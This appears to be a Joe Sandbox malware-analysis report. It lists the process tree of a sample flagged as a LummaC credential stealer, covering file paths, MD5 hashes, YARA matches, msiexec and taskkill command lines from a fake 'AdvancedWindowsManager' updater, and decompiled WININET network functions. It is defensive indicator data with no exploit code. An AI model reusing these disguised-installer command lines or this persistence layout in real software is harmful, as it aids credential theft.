Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:52:41
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\1922353491.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1922353491.exe
Imagebase:	0xb20000
File size:	2'713'088 bytes
MD5 hash:	AC87E1B8B3A20F9AD653699B10768BED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000024.00000002.3681239071.0000000000B21000.00000040.00000001.01000000.00000026.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000024.00000003.3305708382.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:52:44
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 "
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:52:45
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 90A02CAD9630D51876E2B2B6E897E85F E Global\MSI0000
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:52:46
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:52:46
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:52:47
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:52:47
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:52:52
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:52:52
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:52:54
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	14:52:53
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	14:52:54
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	14:52:54
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	14:52:54
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	14:52:59
Start date:	06/12/2023
Path:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe"
Imagebase:	0x8f0000
File size:	4'900'680 bytes
MD5 hash:	5DC644E00D9553FC167CB649087B8089
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.9%
Total number of Nodes:	786
Total number of Limit Nodes:	15

Executed Functions

Function 10002A20 Relevance: 3.6, APIs: 2, Instructions: 560
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10004CC0: _memcpy_s.LIBCMT ref: 10004D43

InternetReadFile.WININET(?,?,?,?), ref: 10002EBF
_fwrite.LIBCMT ref: 10002EED

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

Part of subcall function 100115A0: GetWindowLongW.USER32(?,000000F0), ref: 100115A4
Part of subcall function 100115A0: SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115BA
Part of subcall function 100115A0: SendMessageW.USER32(?,0000040A,00000001,0000001E), ref: 100115CA

Part of subcall function 100032D0: GetTickCount.KERNEL32 ref: 100032E7

Part of subcall function 10003460: GetTickCount.KERNEL32 ref: 10003469

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CountLongTickWindow_memcpy_s$FileInternetMessageReadSend_fwrite
String ID:
API String ID: 299267306-0
Opcode ID: feed1562f7a792029a53d8156ffc233382bdec311974261d537cb2be834ca5da
Instruction ID: c8d4544e754c25669b4337e797654c03def6fb5cbee6d32e7e648880c0cb9aee
Opcode Fuzzy Hash: feed1562f7a792029a53d8156ffc233382bdec311974261d537cb2be834ca5da
Instruction Fuzzy Hash: 03228275D00214ABEF04DFA8CC85B9EBBB5EF48340F14816DF819AB246DB35AD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10014BC0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 358
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10014A60: InternetConnectW.WININET(?,?,?,?,?,?,?,00000000), ref: 10014B94

FtpOpenFileW.WININET(?,?,80000000,80000002,00000000), ref: 10014CDC
HttpOpenRequestW.WININET(?,HEAD,?,00000000,00000000,?,84400000,00000000), ref: 10014DE4
HttpSendRequestW.WININET(?,00000000,00000000,00000000,00000000), ref: 10014E09
GetLastError.KERNEL32(?,?,?,?,?), ref: 10014E17
GetDesktopWindow.USER32 ref: 10014E4B
InternetQueryOptionW.WININET(?,0000001F,?,?), ref: 10014EDB
HttpQueryInfoW.WININET(?,20000013,?,?,?), ref: 10014F2B
GetDesktopWindow.USER32 ref: 10014FCD
__CxxThrowException@8.LIBCMT ref: 1001502C
__CxxThrowException@8.LIBCMT ref: 100150A1
__CxxThrowException@8.LIBCMT ref: 10014EB2

Part of subcall function 100172FB: RaiseException.KERNEL32(?,?,100163B9,0000001B,?,?,?,?,100163B9,0000001B,10031154,10035B80), ref: 1001733B

__CxxThrowException@8.LIBCMT ref: 100150E5

Strings

HEAD, xrefs: 10014DE2

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Exception@8Throw$Http$DesktopInternetOpenQueryRequestWindow$ConnectErrorExceptionFileInfoLastOptionRaiseSend
String ID: HEAD
API String ID: 9595896-2439387944
Opcode ID: b176338d989ef2999aeef8d0e07413da43b2523cfcb7dbe21d59c05265ec62d5
Instruction ID: 4961a47874f1e64aaa825ffcf824312cfdd3d316e9340cddcd447ff5fe2b7e81
Opcode Fuzzy Hash: b176338d989ef2999aeef8d0e07413da43b2523cfcb7dbe21d59c05265ec62d5
Instruction Fuzzy Hash: 72D18E71508281EFE765DB64C885BDBB3E8FF88340F424A1DF5899B251DB30E984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 10015270 Relevance: 4.6, APIs: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FtpGetFileSize.WININET(?,?), ref: 1001528B
HttpQueryInfoW.WININET(?,20000005,?,?,?), ref: 100152CC
InternetCloseHandle.WININET(?,?,?), ref: 100152F8

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CloseFileHandleHttpInfoInternetQuerySize
String ID:
API String ID: 226181321-0
Opcode ID: 0d3d431d02d13eb631ab845ceb52211a2e849c2c398170d6d6d31d0493466ff2
Instruction ID: dc56027d2b3e995e5ad89aaf166287dec5362c47f6cc9a2c7ffb18478ede3b62
Opcode Fuzzy Hash: 0d3d431d02d13eb631ab845ceb52211a2e849c2c398170d6d6d31d0493466ff2
Instruction Fuzzy Hash: 811158726007019FE310DF7ACC84B97B7EAFB88365F544A2DE969C6240D735EA098A21

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD60 Relevance: 4.6, APIs: 3, Instructions: 57
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 1000BD8B
GetModuleHandleW.KERNEL32(1002FB08,00000000,00000400,?,00000400,00000000,?,?,?), ref: 1000BDB8
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,00000400,00000000,?,?,?), ref: 1000BDD8

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: FormatHandleMessageModule_memset
String ID:
API String ID: 528496211-0
Opcode ID: 641c02cdf6b1c3ea3ac4b7ebe153d9790acec2ce9780dbf4cbaa504a6af753cb
Instruction ID: ea32fb2d03ec7ea52ee66ad42e43dc4259e8ba20c7931cce353fc1f417f33f35
Opcode Fuzzy Hash: 641c02cdf6b1c3ea3ac4b7ebe153d9790acec2ce9780dbf4cbaa504a6af753cb
Instruction Fuzzy Hash: 6D116DB4204345AEE360DF00CC46F9BB7E4FF84744F40890DF6899A1C0EBB0A548CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10014A60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,?,?,?,?,00000000), ref: 10014B94

Strings

HEAD, xrefs: 10014A7F

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ConnectInternet
String ID: HEAD
API String ID: 3050416762-2439387944
Opcode ID: 1a8cbd4da4c9ebd03d6eb2aa36ee30cc070518dff073ca06a96ed9d69ad17bef
Instruction ID: 6df738f56d5f8485bf5c612103b9721acc1a3f9d406b5f3b4e663a23c2a59b4b
Opcode Fuzzy Hash: 1a8cbd4da4c9ebd03d6eb2aa36ee30cc070518dff073ca06a96ed9d69ad17bef
Instruction Fuzzy Hash: AC41A0756087428BC720CF68C9917E7B3F1FF98340F464A19E98A4B254EB74F945C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 100022C0 Relevance: 3.3, APIs: 2, Instructions: 260
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 1000237D
InternetCloseHandle.WININET(?), ref: 1000262C

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CloseCountHandleInternetTick
String ID:
API String ID: 2686910609-0
Opcode ID: 786496f3ec29f4a0e81eeba74c855d3b75afafdb6e933cf7197a66d396c6c118
Instruction ID: bb3f74a373d724789365632a767aa41394959faed785c3d856131be155fb5f86
Opcode Fuzzy Hash: 786496f3ec29f4a0e81eeba74c855d3b75afafdb6e933cf7197a66d396c6c118
Instruction Fuzzy Hash: 00A1DF70904741AFE720DF28C88179AB7E4FF84794F10865DF8585B28ACB35B945CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1001D175 Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,10017033,00000001), ref: 1001D186
HeapDestroy.KERNEL32 ref: 1001D1BC

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 48e2bec806d357bedf753437c516d499571bbe509e4722c9226f1084237be56c
Instruction ID: 6d484d8e7e5b26b048335d8c4c7e9b473a5ec36579d594f1fc96b042034804ff
Opcode Fuzzy Hash: 48e2bec806d357bedf753437c516d499571bbe509e4722c9226f1084237be56c
Instruction Fuzzy Hash: 8EE09271664362BEF712FB318D9531B36D8E704387F205837F400CD0A5EB70C5809A01

Uniqueness

Uniqueness Score: -1.00%

Function 10014750 Relevance: 1.7, APIs: 1, Instructions: 172
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 100057A0: _memcpy_s.LIBCMT ref: 10005816

InternetCrackUrlW.WININET(00000000,00000000,00000000,?), ref: 1001493D

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CrackInternet_memcpy_s
String ID:
API String ID: 4202126888-0
Opcode ID: aa0c5d251f72395c81219fd760ccf8477a2c8e234cad06a9f03a77fc13cf73a8
Instruction ID: ec42b997682a64ee85119828b2b830d73c608ac721b1f27813a0f2a3221d2a6d
Opcode Fuzzy Hash: aa0c5d251f72395c81219fd760ccf8477a2c8e234cad06a9f03a77fc13cf73a8
Instruction Fuzzy Hash: C9515DB15153889BDB34CF28C9467DEBBE8EF88740F10452EF8498F365DB759A408B91

Uniqueness

Uniqueness Score: -1.00%

Function 10001E00 Relevance: 1.6, APIs: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(?,?,?,00000000,00000000), ref: 10001E55

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 091553d1e3430021d0bcf00a61016cf1fd0702b521947ea1bf03e3b1310bf93d
Instruction ID: f61956872991c7a5d8167a90b4ed801161299ca992cf5d69d2feabbd60d4c042
Opcode Fuzzy Hash: 091553d1e3430021d0bcf00a61016cf1fd0702b521947ea1bf03e3b1310bf93d
Instruction Fuzzy Hash: D6111A70240B81DBE374CA70CC49FEBB3E8FB84791F104A2DA6A6961C0D7B4B8459B10

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10020598 Relevance: 66.4, APIs: 44, Instructions: 431COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 100205CD
___getlocaleinfo.LIBCMT ref: 100205E2
___getlocaleinfo.LIBCMT ref: 100205F7
___getlocaleinfo.LIBCMT ref: 1002060C
___getlocaleinfo.LIBCMT ref: 10020624
___getlocaleinfo.LIBCMT ref: 10020639
___getlocaleinfo.LIBCMT ref: 1002064B
___getlocaleinfo.LIBCMT ref: 10020660
___getlocaleinfo.LIBCMT ref: 10020678
___getlocaleinfo.LIBCMT ref: 1002068D

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: cb070a9089c2bf068264277ddf36e8c6a173ac74e458a66ae43c8b30df18aaeb
Instruction ID: c32f1b461fe5fb6fcd40ee7f0e7993fce85ad8667b7e39b63d9a02a866f3d2d4
Opcode Fuzzy Hash: cb070a9089c2bf068264277ddf36e8c6a173ac74e458a66ae43c8b30df18aaeb
Instruction Fuzzy Hash: 1CE1DFB290020DBEEB11DBE1CC41EFF77BEFB44744F54496AB215D2042EA70BA059B60

Uniqueness

Uniqueness Score: -1.00%

Function 10003A90 Relevance: 8.3, APIs: 5, Instructions: 759networkfileCOMMON

Download Yara Rule

APIs

FtpSetCurrentDirectoryW.WININET(?,?), ref: 10003BCE
FtpFindFirstFileW.WININET(?,?,?,00000000,00000000), ref: 10003C0E
InternetFindNextFileW.WININET(?,?), ref: 10003E58

Part of subcall function 100056E0: _memcpy_s.LIBCMT ref: 10005764

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: FileFind$CurrentDirectoryFirstInternetNext_memcpy_s
String ID:
API String ID: 729902299-0
Opcode ID: 2017356b94722ae27a99bf0c0583569677fdcd15a0b06add59209200b42df041
Instruction ID: 373eebeb61dc72f6e26dd6fae0a732c19aab98e446017e2482c8a3ee82184b98
Opcode Fuzzy Hash: 2017356b94722ae27a99bf0c0583569677fdcd15a0b06add59209200b42df041
Instruction Fuzzy Hash: 6062C3B54083809BE720DF28C841B9FBBE8EF85354F518A1DF59847292DB31E905CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 10015D38 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 10019E03
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10019E18
UnhandledExceptionFilter.KERNEL32(1002DC98), ref: 10019E23
GetCurrentProcess.KERNEL32(C0000409), ref: 10019E3F
TerminateProcess.KERNEL32(00000000), ref: 10019E46

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 552d116a7c3e93788366756815bd0865783a89be6c04afbf5f266c767dd25a1e
Instruction ID: 58e165609b1515e4a44deb5bb1dff54dee895da02add5d510db2c793db90f772
Opcode Fuzzy Hash: 552d116a7c3e93788366756815bd0865783a89be6c04afbf5f266c767dd25a1e
Instruction Fuzzy Hash: CF21B574425324DFE312DF69DCC56497BB4FB0830AF61605AE5099F372EBB299828F05

Uniqueness

Uniqueness Score: -1.00%

Function 1001F4AF Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 1001F4BD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001F4C4

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 3341406909-0
Opcode ID: d4c99c7621abef68bd72d57bba3ce6cbe9ff0b1e6c9675a24bd2495161e70739
Instruction ID: d1e42604fe380e0e15599b5a347cb0e673536e51b6b4950fc816f9bdc0fba336
Opcode Fuzzy Hash: d4c99c7621abef68bd72d57bba3ce6cbe9ff0b1e6c9675a24bd2495161e70739
Instruction Fuzzy Hash: DEC08C088082C00EE703D3344CAC30C3A48A70B00BFD88599D8808C163CA69C0808121

Uniqueness

Uniqueness Score: -1.00%

Function 10022AA9 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: e457e5a99bbc8e426643c59ddf95c7e76d2b647b316445e96657cf3ec8024732
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 8CD19073C1A9F30A8776C16E656812EEEA2AFD168036BC3E1DCD43F28DD2275D0096D0

Uniqueness

Uniqueness Score: -1.00%

Function 10022689 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 0d0077ba12e47f9950b3fc41dc720fbc27b0010c29e1ea480389db63c8943203
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: B8D1BF73C1E9F30A8776C16E655826EEAA2AFD169036BC3E1DCD03F289D6279D0091D0

Uniqueness

Uniqueness Score: -1.00%

Function 1002227D Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
